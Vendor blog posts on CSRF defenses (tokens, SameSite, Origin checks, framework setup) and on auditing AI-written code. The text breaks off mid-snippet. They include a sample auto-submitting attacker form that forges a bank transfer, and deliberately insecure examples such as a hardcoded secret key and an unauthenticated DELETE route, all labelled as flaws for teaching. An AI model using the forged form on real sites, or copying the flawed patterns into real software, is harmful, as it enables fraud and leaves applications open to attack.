### How is AEO different from GEO?

They're near-synonyms. GEO (Generative Engine Optimization) and AEO (Answer Engine Optimization) both describe optimizing for AI systems that generate answers, and in practice the work is identical. AEO emphasizes the citation outcome; GEO emphasizes the generative mechanism and is the term used in the academic literature, including the Princeton-led [GEO paper](https://arxiv.org/abs/2311.09735). If your team already says "AI SEO" or "LLMO," those cover the same ground too.

### How do I know if ChatGPT can see my website?

Check three things: that robots.txt doesn't block GPTBot or OAI-SearchBot, that your WAF or bot protection isn't 403ing OpenAI's crawler IPs, and that your content exists in the raw HTML without JavaScript execution. Our step-by-step guide covers each test in [can ChatGPT see your website](/blog/check-if-chatgpt-can-see-your-website), and CheckVibe's AEO scan runs all three automatically for every major engine.

### Does blocking AI crawlers hurt my SEO?

Blocking AI crawlers like GPTBot doesn't affect classic Google rankings — Googlebot is a separate crawler with separate rules. But blocking Google-Extended removes you from Gemini and can affect AI Overviews sourcing, and blocking the answer-engine bots removes you from AI citations entirely. So it costs you nothing in SEO and potentially everything in AEO. Block deliberately if you have a licensing reason; don't inherit it from a template.


---

## CSRF Protection: The Complete Guide for Modern Web Apps

*How CSRF attacks work and how to stop them: CSRF tokens, SameSite cookies, custom headers, and framework-specific protection for Next.js, Express and Django.*

Published: 2026-03-22 | Reading time: 25 min read
URL: https://checkvibe.dev/blog/csrf-protection-guide


CSRF protection is the set of server-side checks that prove a state-changing request came from your own site and not from a page an attacker controls. In practice it is one of three things: a synchronizer token, a double-submit cookie, or an `Origin` header check — with `SameSite` cookies underneath as a second layer.

CSRF itself is not dead, it has just moved. Browsers now ship default `SameSite` behavior that kills the classic cross-site form POST, which is exactly why teams stop thinking about it. Then a cookie gets set to `SameSite=None` to make an OAuth redirect work, or a `GET` route starts mutating state, or a forgotten subdomain gets taken over — and the hole is back.

This guide covers how the attack works, five protection methods with code, a full `SameSite` deep dive, framework setup for Next.js, Express, Django, Rails and Laravel, whether SPAs and APIs need CSRF protection at all, and the mistakes that leave apps exposed. The canonical reference throughout is the [OWASP CSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html).

## What Is CSRF?

Cross-Site Request Forgery (CSRF) is an attack that tricks an authenticated user's browser into sending an unwanted request to a web application where they are logged in. The attacker does not need to steal the user's credentials — the browser sends them automatically.

Here is the core problem: browsers attach cookies to every request made to a domain, regardless of where the request originates. If you are logged into your bank at `bank.com`, and you visit a malicious page, that page can submit a form to `bank.com/transfer` — and your browser will include your session cookie with the request.

### A Real Attack Scenario

Imagine you are logged into your banking app. Your session is stored in a cookie. You then visit a page controlled by an attacker. That page contains this hidden form:

```html
<!-- On attacker's page: evil.com -->
<form action="https://bank.com/api/transfer" method="POST" id="csrf-form">
  <input type="hidden" name="to" value="attacker-account" />
  <input type="hidden" name="amount" value="5000" />
</form>
<script>document.getElementById('csrf-form').submit();</script>
```

When the page loads, the form auto-submits. Your browser sends a POST request to `bank.com/api/transfer` with your session cookie attached. The bank's server sees a valid session and processes the transfer. You never clicked anything — the attacker's page did it for you.

This works because the bank's server cannot distinguish between a legitimate request from its own frontend and a forged request from a malicious site. Both carry the same cookies.

## How CSRF Attacks Work

The attack follows a predictable pattern:

1. **Victim authenticates** — The user logs into your application. The server sets a session cookie.
2. **Victim visits attacker's site** — Through a phishing email, a malicious ad, or a compromised website, the user lands on a page the attacker controls.
3. **Attacker's page sends a request** — A hidden form, an image tag, or JavaScript on the attacker's page sends a request to your application.
4. **Browser attaches cookies** — The browser automatically includes all cookies for your domain, including the session cookie.
5. **Server processes the request** — Your server sees valid authentication credentials and executes the action — transferring money, changing an email address, deleting data.

CSRF attacks target state-changing operations: form submissions, API calls that modify data, account settings changes, and financial transactions. They do not give the attacker access to the response — they just trigger the action.

## 5 CSRF Protection Methods

### 1. Synchronizer Token Pattern (CSRF Tokens)

The **synchronizer token pattern** is the most robust protection and OWASP's primary recommendation. The server generates a unique, unpredictable token, stores it server-side against the session, and embeds it in forms. When the form comes back, the server compares the submitted token to the stored one. An attacker's page cannot read the token out of your HTML (the same-origin policy blocks that), so forged requests fail the comparison.

**How it works:**

```javascript
// Server: Generate and store a CSRF token
import crypto from 'crypto';

function generateCsrfToken(session) {
  const token = crypto.randomBytes(32).toString('hex');
  session.csrfToken = token;
  return token;
}
```

```html
<!-- Embed the token in every form -->
<form action="/api/transfer" method="POST">
  <input type="hidden" name="_csrf" value="a1b2c3d4e5f6..." />
  <input type="text" name="to" />
  <input type="number" name="amount" />
  <button type="submit">Transfer</button>
</form>
```

```javascript
// Server: Verify the token on submission
function verifyCsrfToken(req, session) {
  const token = req.body._csrf || req.headers['x-csrf-token'];
  if (!token || token !== session.csrfToken) {
    throw new Error('CSRF token validation failed');
  }
}
```

**In Next.js Server Actions**, CSRF protection is built in. Server Actions automatically verify that the request originates from your application by checking the `Origin` header against the `Host` header. But if you are using API Route Handlers (`app/api/`), you need to implement CSRF protection manually:

```typescript
// app/api/transfer/route.ts — Manual CSRF check for API routes
import { NextRequest, NextResponse } from 'next/server';

export async function POST(req: NextRequest) {
  const origin = req.headers.get('origin');
  const host = req.headers.get('host');

  // Verify the request origin matches your domain
  if (!origin || !origin.includes(host!)) {
    return NextResponse.json(
      { error: 'CSRF validation failed' },
      { status: 403 }
    );
  }

  // Process the request...
}
```

**Strengths**: Works regardless of cookie configuration. The gold standard for CSRF prevention.

**Limitations**: Requires server-side state (or a signed token variant). Must be included in every form and AJAX request.

### 2. SameSite Cookie Attribute

The `SameSite` attribute on cookies controls whether the browser sends them with cross-site requests. This is the browser's built-in CSRF defense.

```javascript
// Setting SameSite on a session cookie
res.cookie('session', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'Lax',  // or 'Strict'
  maxAge: 3600000,
});
```

In one line: `Strict` never sends the cookie cross-site, `Lax` sends it only on top-level navigations, and `None` always sends it and requires `Secure`. The deep dive further down covers the trade-offs and the gaps in each.

**Strengths**: Zero application code. Chrome applies `Lax` even when you forget to set the attribute.

**Limitations**: Does not protect `GET` endpoints that change state, does not stop attacks launched from your own subdomains, and the default is one browser's current behavior rather than a guarantee. A layer, never the only defense.

### 3. Custom Request Headers

Browsers enforce CORS preflight checks for requests with custom headers. A cross-origin request with a non-standard header like `X-Requested-With` triggers a preflight `OPTIONS` request. If your server does not respond with the appropriate CORS headers, the browser blocks the request entirely.

```javascript
// Client: Add a custom header to every API request
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-Requested-With': 'checkvibe-app',  // Custom header
  },
  body: JSON.stringify({ to: 'account', amount: 100 }),
});
```

```javascript
// Server: Reject requests without the custom header
function requireCustomHeader(req, res, next) {
  if (req.headers['x-requested-with'] !== 'checkvibe-app') {
    return res.status(403).json({ error: 'Missing required header' });
  }
  next();
}
```

**Why this works**: An attacker's form submission cannot set custom headers. A cross-origin `fetch` with a custom header triggers a CORS preflight, and since your server will not return `Access-Control-Allow-Origin: evil.com`, the browser blocks it.

**Strengths**: Simple to implement for single-page applications. No server-side token state needed.

**Limitations**: Only works for AJAX requests (not form submissions). Requires your API to reject requests without the header. Does not protect HTML form endpoints.

### 4. Checking Origin and Referer Headers

The `Origin` header tells the server which site initiated the request. By verifying it matches your domain, you can reject cross-origin requests.

```javascript
// Middleware: Validate Origin header
function validateOrigin(req, res, next) {
  const allowedOrigins = [
    'https://yourdomain.com',
    'https://www.yourdomain.com',
  ];

  const origin = req.headers['origin'];
  const referer = req.headers['referer'];

  // POST/PUT/DELETE requests must have a valid origin
  if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(req.method)) {
    if (origin) {
      if (!allowedOrigins.includes(origin)) {
        return res.status(403).json({ error: 'Forbidden origin' });
      }
    } else if (referer) {
      // Fallback to Referer header
      const refererOrigin = new URL(referer).origin;
      if (!allowedOrigins.includes(refererOrigin)) {
        return res.status(403).json({ error: 'Forbidden origin' });
      }
    } else {
      // No Origin or Referer — block the request
      return res.status(403).json({ error: 'Missing origin' });
    }
  }

  next();
}
```

**Strengths**: No tokens or state required. Works for all request types. This is what Next.js Server Actions use internally.

**Limitations**: Some privacy extensions strip the `Referer` header. The `Origin` header is not sent on some same-origin requests. You need a fallback strategy when both headers are absent.

### 5. Double Submit Cookie Pattern

The **double-submit cookie pattern** is the stateless alternative to the synchronizer token, for apps that have nowhere to keep server-side session state. The server sets a random token in a cookie and expects the same value back in a header or form field. An attacker's page can make the browser send the cookie, but cannot read its value to echo it back.

```javascript
// Server: Set a CSRF cookie on page load
import crypto from 'crypto';

function setCsrfCookie(res) {
  const token = crypto.randomBytes(32).toString('hex');
  res.cookie('csrf-token', token, {
    httpOnly: false,  // JavaScript needs to read this
    secure: true,
    sameSite: 'Lax',
  });
}
```

```javascript
// Client: Read the cookie and send it as a header
function getCsrfToken() {
  return document.cookie
    .split('; ')
    .find(row => row.startsWith('csrf-token='))
    ?.split('=')[1];
}

fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': getCsrfToken(),
  },
  body: JSON.stringify({ to: 'account', amount: 100 }),
});
```

```javascript
// Server: Compare cookie value with header value
function verifyDoubleSubmit(req, res, next) {
  const cookieToken = req.cookies['csrf-token'];
  const headerToken = req.headers['x-csrf-token'];

  if (!cookieToken || !headerToken || cookieToken !== headerToken) {
    return res.status(403).json({ error: 'CSRF validation failed' });
  }
  next();
}
```

The naive version above trusts any value that appears in both places, so anyone who can write a cookie on your domain can forge both halves. OWASP recommends the **signed double-submit** variant: bind the token to the session with an HMAC, so a value the attacker injected will not verify.

```javascript
// Signed double-submit: bind the token to the session, then verify the binding
import crypto from 'crypto';

const SECRET = process.env.CSRF_SECRET;  // 32+ random bytes, not in the repo

function issueToken(sessionId) {
  const nonce = crypto.randomBytes(16).toString('hex');
  const mac = crypto
    .createHmac('sha256', SECRET)
    .update(`${sessionId}!${nonce}`)
    .digest('hex');
  return `${nonce}.${mac}`;  // goes in the cookie AND to the client
}

function verifyToken(token, sessionId) {
  const [nonce, mac] = String(token ?? '').split('.');
  if (!nonce || !mac) return false;
  const expected = crypto
    .createHmac('sha256', SECRET)
    .update(`${sessionId}!${nonce}`)
    .digest('hex');
  // Constant-time compare — a plain === leaks timing information
  const a = Buffer.from(mac, 'hex');
  const b = Buffer.from(expected, 'hex');
  return a.length === b.length && crypto.timingSafeEqual(a, b);
}
```

Two details that matter more than the algorithm: compare with `crypto.timingSafeEqual` rather than `===`, and name the cookie with the `__Host-` prefix (`__Host-csrf`), which browsers only accept when it is `Secure`, has `Path=/`, and carries no `Domain` attribute — that last condition is what stops a subdomain from overwriting it.

**Strengths**: No server-side session state needed. Works well with REST APIs and SPAs.

**Limitations**: The unsigned version falls to anyone who can set cookies on your domain (subdomain XSS, cookie injection). The token cookie cannot be `httpOnly` if JavaScript has to read it back. For high-value operations, prefer the synchronizer token pattern.

## SameSite Cookies Deep Dive: Lax vs Strict vs None

`SameSite` is the highest-leverage line in your cookie config and the one most often left to the browser's default. MDN's [`Set-Cookie` reference](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie) is the authoritative description of the behavior — here is what it means for your app.

First, the definition that causes most of the surprises: "site" means the registrable domain, not the origin. `app.example.com`, `staging.example.com` and `example.com` are all the **same site**, and so are `http://` and `https://` versions of the same host in some legacy clients. Scheme and port do not create a new site the way they create a new origin.

### SameSite=Strict

```http
Set-Cookie: session=abc123; Path=/; HttpOnly; Secure; SameSite=Strict
```

The browser never attaches the cookie to a request that started on another site — not on a form POST, not in an iframe, not even on a plain link click from Google or an email client.

**Use it for**: banking, admin consoles, internal tools — anywhere a state-changing request should never arrive from outside.

**The cost**: a user following an external link lands logged out, sees the public version of the page, and has to navigate once more before the session attaches. That first-click gap is why most consumer products do not ship `Strict` on their main session cookie.

**The workaround** is two cookies: a `Lax` "read" cookie that keeps the UI logged in on inbound navigations, and a `Strict` "action" cookie that your server requires on every state-changing route.

### SameSite=Lax

```http
Set-Cookie: session=abc123; Path=/; HttpOnly; Secure; SameSite=Lax
```

The cookie rides along on top-level navigations — a link click, a `GET` form — and is dropped on every cross-site subrequest. That is the right default for most apps: the classic auto-submitting attack form gets no cookie, while inbound links still feel logged in.

| Cross-site request | `Lax` sends cookie? | `Strict` sends cookie? |
|---|---|---|
| Link click (`<a href>`) | Yes | No |
| Top-level `GET` form | Yes | No |
| Top-level `POST` form | No | No |
| `<iframe>` | No | No |
| `fetch` / XHR | No | No |
| `<img>`, `<script>` | No | No |

Read row two carefully. A top-level cross-site `GET` **does** carry the cookie. If any route of yours changes state on `GET`, `Lax` buys you nothing there.

### SameSite=None

```http
Set-Cookie: session=abc123; Path=/; HttpOnly; Secure; SameSite=None
```

The cookie goes out on every cross-site request. `Secure` is mandatory — browsers reject `SameSite=None` without it. You genuinely need `None` for third-party embeds rendered inside a customer's iframe, some cross-site SSO and OAuth round trips, and hosted payment frames.

`SameSite=None` puts you back where the web was before 2020: browser-level CSRF protection is off, and a token or `Origin` check is the only thing between an attacker's page and your endpoints. Never flip a cookie to `None` "to make the redirect work" without adding a token in the same change.

### What happens when you omit SameSite

Chrome has treated cookies with no `SameSite` attribute as `SameSite=Lax` since Chrome 80 rolled out in 2020, and it rejects `SameSite=None` that is not also `Secure`. Other engines differ in the details and in which versions shipped them, and non-browser clients — mobile webviews, HTTP libraries, your own integration tests — implement whatever they feel like.

So set the attribute explicitly on every cookie you issue. "The default protects us" is a claim about one browser's current behavior, not about your application.

### Why SameSite alone is not sufficient

1. **State-changing `GET` endpoints.** `Lax` sends cookies on top-level `GET` navigations, so `GET /account/delete?confirm=true` is exploitable with nothing more than a link in an email.
2. **Your own subdomains.** SameSite compares registrable domains, so an XSS bug, a dangling CNAME, or a full takeover on `staging.yoursite.com` hands the attacker a same-site position: their requests carry your cookies, and they can overwrite an unsigned double-submit cookie. `__Host-` prefixes and signed tokens are the fix; SameSite is not.
3. **Flows that require `None`.** Every embed, SSO hop, or payment iframe you support is a cookie with browser protection switched off.
4. **Clients that do not enforce it.** Old browsers, embedded webviews, and anything that is not a browser at all.
5. **Compatibility carve-outs.** Chrome shipped a temporary "Lax + POST" mitigation that let very fresh cookies (under two minutes old) ride along on top-level cross-site POSTs so that SSO would not break. Carve-outs like that are invisible from your code and change on the browser's schedule, not yours.

OWASP's guidance is unambiguous on this: treat `SameSite` as defense in depth and keep a token-based or origin-based check as the primary control.

## CSRF Protection by Framework

### CSRF protection in Next.js

**Server Actions** (App Router) have built-in CSRF protection. Per the Next.js docs they are POST-only and the framework compares the `Origin` header against the `Host` header, rejecting the request when they disagree. No configuration needed:

```typescript
// app/actions.ts — Protected by default
'use server';

export async function transferFunds(formData: FormData) {
  // This action is CSRF-protected automatically.
  // Next.js rejects requests where Origin !== Host.
  const to = formData.get('to');
  const amount = formData.get('amount');
  // ...
}
```

**API Route Handlers** need manual protection. Next.js does not apply CSRF checks to Route Handlers:

```typescript
// middleware.ts — Add CSRF protection to API routes
import { NextRequest, NextResponse } from 'next/server';

export function middleware(req: NextRequest) {
  if (req.method !== 'GET' && req.method !== 'HEAD') {
    const origin = req.headers.get('origin');
    const host = req.headers.get('host');

    if (!origin) {
      return NextResponse.json({ error: 'Forbidden' }, { status: 403 });
    }

    const originHost = new URL(origin).host;
    if (originHost !== host) {
      return NextResponse.json({ error: 'Forbidden' }, { status: 403 });
    }
  }

  return NextResponse.next();
}

export const config = {
  matcher: '/api/:path*',
};
```

Two Next.js gotchas worth knowing. If you sit behind a proxy or serve from multiple hostnames, the built-in Server Action check can reject legitimate traffic — Next.js exposes `experimental.serverActions.allowedOrigins` in `next.config.js` for exactly that case, and it is an allowlist, so keep it tight. And the built-in check protects Server Actions only: anything you expose under `app/api/` is a plain route handler with no CSRF logic attached. More Next.js-specific hardening lives in our [Next.js security best practices](/blog/nextjs-security-best-practices) guide.

### CSRF protection in Express

Do not reach for `csurf` — the package is deprecated and no longer maintained, and installing it today only gets you an unmaintained dependency with a deprecation notice. Use `csrf-csrf`, which implements the signed double-submit pattern described above:

```javascript
import { doubleCsrf } from 'csrf-csrf';
import cookieParser from 'cookie-parser';

const {
  generateToken,
  doubleCsrfProtection,
} = doubleCsrf({
  getSecret: () => process.env.CSRF_SECRET,
  cookieName: '__csrf',
  cookieOptions: {
    httpOnly: true,
    secure: true,
    sameSite: 'lax',
  },
  getTokenFromRequest: (req) => req.headers['x-csrf-token'],
});

app.use(cookieParser());
app.use(doubleCsrfProtection);

// Endpoint to get a CSRF token for the frontend
app.get('/api/csrf-token', (req, res) => {
  const token = generateToken(req, res);
  res.json({ token });
});
```

One caveat: `doubleCsrfProtection` runs on every non-idempotent request, so mount it after `cookieParser()` and after body parsing, and exempt only the routes that genuinely cannot carry a token (inbound webhooks, which you should be verifying by signature instead).

### CSRF protection in Django

Django has CSRF protection built into its middleware and enabled by default:

```python
# settings.py — CSRF is on by default
MIDDLEWARE = [
    'django.middleware.csrf.CsrfViewMiddleware',
    # ...
]

# For APIs using custom headers instead of form tokens:
CSRF_TRUSTED_ORIGINS = [
    'https://yourdomain.com',
    'https://www.yourdomain.com',
]
```

```html
<!-- Django templates include the token automatically -->
<form method="POST">
  {% csrf_token %}
  <input type="text" name="to" />
  <button type="submit">Transfer</button>
</form>
```

For Django REST Framework API endpoints, you can use session authentication with CSRF or switch to token-based auth (which is inherently CSRF-proof since the token is in a header, not a cookie):

```python
# For API views that need CSRF exemption (token-auth only)
from django.views.decorators.csrf import csrf_exempt

@csrf_exempt  # Only safe if using non-cookie auth (Bearer tokens)
def api_view(request):
    pass
```

Note that Django REST Framework's `SessionAuthentication` enforces CSRF for you on unsafe methods. Reaching for `@csrf_exempt` to silence a 403 on a session-authenticated endpoint removes the protection rather than fixing the client.

### CSRF protection in Rails

Rails ships forgery protection on by default for apps loading modern framework defaults, and `form_with` injects the `authenticity_token` hidden field automatically. The whole configuration is one line:

```ruby
# app/controllers/application_controller.rb
class ApplicationController < ActionController::Base
  protect_from_forgery with: :exception   # raise instead of silently resetting the session
end
```

```erb
<%# app/views/layouts/application.html.erb — exposes the token to JS clients %>
<%= csrf_meta_tags %>
```

`csrf_meta_tags` writes the token into a `meta` tag, and Rails' bundled front end — `rails-ujs` on older apps, Turbo on Rails 7+ — reads it back out and sets `X-CSRF-Token` on requests it makes for you. Hand-rolled `fetch` calls get nothing automatically: read the meta tag yourself and send the same header.

### CSRF protection in Laravel

Laravel's `VerifyCsrfToken` middleware is in the `web` middleware group by default, so every session-backed POST route is already protected. Blade gives you the token in one directive:

```blade
{{-- resources/views/transfer.blade.php --}}
<form method="POST" action="/transfer">
    @csrf
    <input type="text" name="to">
    <button type="submit">Transfer</button>
</form>
```

For JavaScript clients, Laravel also sets an `XSRF-TOKEN` cookie and accepts the value back in the `X-XSRF-TOKEN` header — Axios does this automatically, `fetch` does not. Exclude routes only when you must: in Laravel 11+ that is `$middleware->validateCsrfTokens(except: ['stripe/*'])` in `bootstrap/app.php`, and in older versions it is the `$except` array on the middleware class.

## Do SPAs and APIs Need CSRF Protection?

The answer has nothing to do with whether you built a SPA, a REST API, or a server-rendered monolith. It comes down to one question: **does the browser attach your credentials automatically?** If it does, the endpoint is forgeable. If the client has to write the credential into the request itself, it is not.

| How the client authenticates | Browser attaches it by itself? | CSRF protection needed? |
|---|---|---|
| Session cookie | Yes | **Yes** |
| JWT stored in a cookie | Yes | **Yes** |
| `Authorization: Bearer` from memory or `localStorage` | No | No |
| HTTP Basic auth | Yes (browser re-sends) | **Yes** |
| Client TLS certificate | Yes | **Yes** |
| API key in a custom header | No | No |

### Cookie-authenticated APIs do need it

This is where most "we're an API, CSRF doesn't apply" bugs come from. Route handlers sitting behind a session cookie, Laravel Sanctum in SPA mode, Django REST Framework with `SessionAuthentication` — in every one of those the cookie is doing the authentication, so an attacker's page can trigger the call. `Content-Type: application/json` is not a defense either: a form can be made to post `text/plain` that a lenient parser will happily read as JSON. Require a token or validate `Origin`.

### Bearer-token APIs generally do not

If the only way in is an `Authorization` header your JavaScript sets explicitly, an attacker's page is stuck. It can fire a cross-origin request, but it cannot add that header without triggering a CORS preflight your server will refuse, and it cannot read your token out of another origin's context. Two conditions have to hold: your API must not also accept the same credential from a cookie or a query parameter as a fallback, and your CORS policy must not reflect arbitrary origins with `Access-Control-Allow-Credentials: true`. Our [API security checklist](/blog/api-security-checklist) covers both.

### localStorage vs cookies: the trade-off nobody wins

The usual reasoning is "put the token in `localStorage`, then CSRF is impossible." True, and it hands you a worse problem:

- **Token in `localStorage`**: immune to CSRF, fully exposed to XSS. Any injected script reads it and ships it off-site, where it keeps working until it expires.
- **Token in an `httpOnly` cookie**: exposed to CSRF unless you add a token, but unreadable by injected scripts. XSS can still *use* the session by making same-origin requests from the victim's browser — it just cannot walk off with the credential.

XSS defeats both models, so it is not the tiebreaker people think it is. What differs is exfiltration: a stolen bearer token is replayable from the attacker's own machine, an `httpOnly` cookie is not. The practical setup is an `httpOnly` + `Secure` + `SameSite` cookie with a CSRF token on top, or an access token held in memory only (never `localStorage`) with a refresh token in an `httpOnly` cookie.

## Common CSRF Mistakes

### 1. Relying Only on SameSite Cookies

Covered at length above, and worth repeating because it is the single most common failure: `Lax` does not cover state-changing `GET` routes, does not treat your own subdomains as hostile, is switched off entirely on any cookie you set to `None`, and is not enforced by every client that talks to you. Pair it with at least one other method.

### 2. GET Endpoints That Mutate State

```http
GET /api/account/delete?confirm=true
```

This is vulnerable even with SameSite `Lax` because `Lax` allows cookies on top-level GET navigations. An attacker just needs a link. Never use GET for state-changing operations.

### 3. CSRF Bypass via Subdomain

If an attacker exploits an XSS vulnerability on any subdomain of your application, they can:

- Set cookies for your main domain (cookie tossing)
- Make requests that are considered "same-site"
- Override double-submit CSRF cookies

This is why CSRF tokens stored in server-side sessions are more secure than double-submit cookies for high-security applications.

### 4. Forgetting Logout CSRF

Attackers can force-logout your users using CSRF on the logout endpoint. This might seem harmless, but it can be chained with other attacks — for example, logging the user out and then presenting a phishing login page. Always protect your logout endpoint with CSRF checks, or use POST for logout instead of GET.

### 5. Token Leakage in URLs

Never put CSRF tokens in query parameters:

```html
<!-- BAD: Token leaked via Referer header and browser history -->
<a href="/transfer?csrf=abc123&to=savings">Transfer</a>
```

CSRF tokens in URLs get logged in server access logs, browser history, and the `Referer` header sent to other sites. Always transmit tokens in request bodies or headers.

## How CheckVibe Tests for CSRF

CheckVibe's [automated security scanner](https://checkvibe.dev) checks your web application for CSRF vulnerabilities as part of its 36-point security audit. Specifically, the CSRF scanner:

- **Detects forms without CSRF tokens** — Scans HTML responses for `<form>` elements with `method="POST"` and checks whether they include a hidden CSRF token field.
- **Checks cookie configuration** — Verifies that session cookies have the `SameSite` attribute set and flags cookies with `SameSite=None` that could be vulnerable.
- **Tests state-changing endpoints** — Identifies API endpoints that accept POST, PUT, or DELETE requests and verifies that they validate the `Origin` header or require a CSRF token.
- **Inspects security headers** — Checks for proper [security headers](/blog/security-headers-complete-guide) that complement CSRF protection, including `Content-Type` validation and [CORS configuration](/blog/cors-misconfiguration-guide).

Run a free scan at [checkvibe.dev](https://checkvibe.dev) to check your application for CSRF vulnerabilities and 35 other security issues.

## FAQ

### Is CSRF still relevant in 2026?

Yes. Default `SameSite` behavior removed the easiest version of the attack, not the class. Cookies flipped to `SameSite=None` for embeds or SSO, state-changing `GET` routes, subdomain takeovers, and non-browser clients all put it back on the table. OWASP still maintains a dedicated CSRF Prevention Cheat Sheet, and CSRF sits under Broken Access Control in the OWASP Top 10.

### Does SameSite=Lax stop CSRF?

It stops the classic version. A cross-site form that auto-submits a POST to your app gets no cookie under `Lax`. It does not stop CSRF on routes that change state via `GET`, which `Lax` still allows on top-level navigations. It does not stop requests from your own subdomains, which count as same-site. And it does nothing for any cookie you had to set to `SameSite=None`. Keep a token or `Origin` check as the primary control.

### Do JWTs prevent CSRF?

Only if the JWT travels in an `Authorization` header. The token format is irrelevant — what matters is whether the browser attaches it on its own. A JWT stored in a cookie is sent automatically with cross-site requests, so a cookie-based JWT session is exactly as forgeable as a classic session ID and needs the same protection. A JWT held in memory and set as a header by your own code is not.

### What is the difference between the synchronizer token and double-submit cookie patterns?

The synchronizer token pattern stores the expected token server-side against the session and compares the submitted value to it. The double-submit cookie pattern stores nothing: the same value goes out in a cookie and comes back in a header or field, and the server checks the two match. Double-submit scales statelessly but falls to anyone who can write cookies on your domain, so use the HMAC-signed variant, or the synchronizer pattern for high-value actions.

### Does my REST API need CSRF protection?

It depends on how clients authenticate. If your API uses cookie-based sessions (common when the frontend and API share a domain), yes — you need CSRF protection. If it uses `Authorization: Bearer <token>` headers exclusively, and never accepts the same credential from a cookie or query string as a fallback, CSRF is not a concern because the browser does not attach the token by itself. Our [API security checklist](/blog/api-security-checklist) covers the rest.

### How does Next.js handle CSRF?

Server Actions in the App Router are POST-only and compare the `Origin` header to the `Host` header, rejecting mismatches automatically — no configuration needed, though `experimental.serverActions.allowedOrigins` exists for proxy setups. Route Handlers under `app/api/` get none of this. You implement `Origin` validation yourself in middleware or per route. See our [Next.js security best practices](/blog/nextjs-security-best-practices) for more.

### What is the difference between CSRF and XSS?

CSRF makes a user's browser perform an unwanted action on a site where they are already authenticated, and the attacker never sees the response. XSS injects a script that runs inside your origin, letting the attacker read data, steal tokens, and do anything the user can. XSS also defeats CSRF defenses, because a same-origin script can simply read the CSRF token first. Fix XSS first — see our [XSS vulnerability guide](/blog/find-xss-vulnerabilities).

## The Bottom Line

CSRF protection is a fundamental part of web application security. The best defense combines multiple layers: `SameSite` cookies as the baseline, `Origin` header validation as the primary check, and synchronizer or signed double-submit tokens for anything that moves money or changes access. No single method is bulletproof, but stacked they make cross-site request forgery impractical.

[Scan your site with CheckVibe](https://checkvibe.dev) to check for CSRF vulnerabilities, missing security headers, and 34 other security issues — free for your first scan.


---

## Is Your AI Code Secure? A Security Audit Guide for Cursor & Copilot Projects

*AI coding tools ship fast and introduce real vulnerabilities. How to audit Cursor and Copilot output for security issues, with automated scanning via MCP.*

Published: 2026-03-22 | Reading time: 16 min read
URL: https://checkvibe.dev/blog/cursor-copilot-security-audit


Nearly half of all AI-generated code contains at least one security vulnerability from the OWASP Top 10. That is not speculation — multiple peer-reviewed studies from Stanford, UIUC, and NYU have confirmed it since 2024. The code that Cursor, GitHub Copilot, Windsurf, and Claude Code generate works. It compiles, it runs, it does what you asked. But "it works" and "it's secure" are two very different things.

If you are building with AI coding assistants — and in 2026, most of us are — you need a structured approach to auditing the output. This guide covers exactly why AI tools create security blind spots, the specific vulnerabilities to look for, and how to automate the audit process using CheckVibe's MCP server directly inside your editor.

## Why AI Coding Tools Create Security Blind Spots

Understanding why AI assistants produce insecure code is the first step toward fixing the problem. It is not about the tools being bad. It is about what they are optimized for.

### They Optimize for Functionality, Not Security

When you prompt Cursor with "create a Stripe webhook handler" or ask Copilot to "add user authentication," the model generates code that handles the happy path. It makes your feature work. What it does not do — because you did not ask — is add rate limiting, validate webhook signatures properly, implement CSRF protection, or restrict CORS to your domain. Security is a non-functional requirement, and AI models treat it as optional unless you explicitly demand it.

### They Reproduce Insecure Patterns from Training Data

AI models learn from public repositories, and public repositories are full of tutorials, prototypes, and proof-of-concept code that was never meant for production. When Copilot suggests `Access-Control-Allow-Origin: *`, it is not being malicious — it is reproducing the most common pattern it saw in thousands of training examples. The same goes for hardcoded API keys, string-concatenated SQL queries, and missing input validation. These patterns are everywhere in public code because they are easy to write and "work" in development.

### They Do Not Add Security Layers You Do Not Ask For

AI assistants are reactive. They respond to your prompt. If your prompt says "create an API route to delete a project," you get an API route that deletes a project. You do not get authentication middleware, ownership verification, audit logging, or soft-delete patterns — unless your prompt includes those requirements. The gap between what you ask for and what a secure implementation requires is where vulnerabilities live.

### Package Hallucination Is a Real Attack Vector

Roughly 5% of package recommendations from AI coding tools reference packages that do not exist. This is not a harmless quirk. Attackers have caught on. They register these hallucinated package names on npm and PyPI, filling them with malicious code. When a developer follows the AI's suggestion and runs `npm install`, they pull in a supply chain attack. This technique — sometimes called "slopsquatting" — has already been documented in the wild. Always verify that a package exists, has real downloads, and is maintained before installing it.

## The 10 Most Common Vulnerabilities in AI-Generated Code

We scan hundreds of AI-built applications every week at CheckVibe. These are the ten issues that appear most frequently, ranked by how often we see them.

### 1. Hardcoded API Keys and Secrets

The most common vulnerability we detect. AI assistants routinely place secret keys directly in client-side code or use environment variable names that expose them to the browser bundle.

```typescript
// AI-generated — Stripe secret key exposed in the client bundle
const stripe = new Stripe('sk_live_51abc123...', {
  apiVersion: '2024-12-18.acacia',
});
```

In a Next.js app, any variable not prefixed with `NEXT_PUBLIC_` should never appear in frontend code. But AI models do not consistently enforce this boundary. Your Stripe secret key, Supabase service role key, or database connection string can end up shipped to every browser that loads your app.

**The fix:** Keep secrets in server-side environment variables. Use `NEXT_PUBLIC_` only for truly public values like your Supabase anon key or site URL. Audit your client bundle for leaked secrets with a tool like CheckVibe's [API key leak detection](/blog/api-key-leak-detection).

### 2. Missing Authentication on API Routes

When you ask an AI to "create a CRUD API for users," it generates the endpoints. It does not add authentication. Every route is publicly accessible by default.

```typescript
// AI-generated — no auth check, anyone can delete any user
export async function DELETE(
  req: Request,
  { params }: { params: { id: string } }
) {
  const { error } = await supabase
    .from('users')
    .delete()
    .eq('id', params.id);

  return Response.json({ success: !error });
}
```

**The fix:** Validate the session and verify ownership on every state-changing route. Never trust that a request is legitimate just because it reached your server.

```typescript
export async function DELETE(
  req: Request,
  { params }: { params: { id: string } }
) {
  const supabase = await createClient();
  const { data: { user } } = await supabase.auth.getUser();

  if (!user) {
    return Response.json({ error: 'Unauthorized' }, { status: 401 });
  }

  const { error } = await supabase
    .from('users')
    .delete()
    .eq('id', params.id)
